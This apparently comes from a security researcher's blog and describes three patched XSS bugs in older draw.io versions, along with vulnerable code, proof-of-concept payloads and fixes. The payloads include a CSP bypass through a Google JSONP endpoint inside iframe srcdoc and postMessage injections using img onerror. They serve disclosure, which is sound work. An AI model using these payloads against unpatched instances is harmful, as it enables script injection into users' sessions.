notes
[ru / en]

XSS in draw.io

2026.04.04

That's three XSS in the 2024 versions. Such versions are found along the way, but they are not mentioned anywhere.

≤ v24.7.15

In developer mode (parameter ?dev=1), there is no ID filter when you hover over a cell (github):

tip += ((tip.length > 0) ? '
' : '') + 'id=' + cell.id + '
';

But the problem is that this mode adds a Content Security Policy (CSP):

script-src https://www.dropbox.com https://api.trello.com 'unsafe-eval' 'self' https://viewer.diagrams.net https://apis.google.com https://*.pusher.com

Therefore, events (on*event*) do not work, only scripts from the specified domains.

But there is JSONP for this on apis.google.com/complete/search?client=chrome&q=alert(origin)//&callback=setTimeout

And since innerHTML is used, you need to put script[src] in iframe[srcdoc] (note about this) to inject the load.

In total, we have something like this:

<mxCell id="&lt;iframe srcdoc='&lt;script src=&quot;https://apis.google.com/complete/search?client=chrome&amp;q=alert(origin)//&amp;callback=setTimeout&quot;>&lt;/script>'>&lt;/iframe>" />
Fixed in version v24.7.16:
tip += ((tip.length > 0) ? '
' : '') + 'id=' + mxUtils.htmlEntities(cell.id) + '
';

Next, similar XSSs that do not require any user action.

If you open draw.io with the parameters ?client=1&proto=json, you can interact with this window using messages (postMessage).

≤ v23.1.4

When data.action == 'dialog' and messageKey exist, there are no transformations in the entity:

(data.messageKey != null) ? mxResources.get(data.messageKey) : mxUtils.htmlEntities(data.message)

mxResources.get returns the current value if no data is found for this key. Next, this message is displayed through the ErrorDialog function, which uses the bare innerHTML (github):

p2.innerHTML = message;

So we send our payload to this window:

postMessage('{"action":"dialog","titleKey":"ALERT","messageKey":"<img/src/onerror=alert(origin)>"}','*')

Fixed in version v23.1.5:

p2.innerHTML = Graph.sanitizeHtml(message);

≤ v23.0.2

It's almost the same as the previous XSS, but the message is different: data.action == 'spinner'.

There are no transformations for any value:

(data.messageKey != null) ? mxResources.get(data.messageKey) : data.message;

And in the spinner display, the same innerHTML without filters (github):

status.innerHTML = label;

In total, we have the following messages:

postMessage('{"action":"spinner","messageKey":"<img/src/onerror=alert(origin)>"}','*')\npostMessage('{"action":"spinner","message":"<img/src/onerror=alert(origin)>"}','*')

Fixed in versionv23.1.0:

status.innerHTML = mxUtils.htmlEntities(label);
more topics: xss, js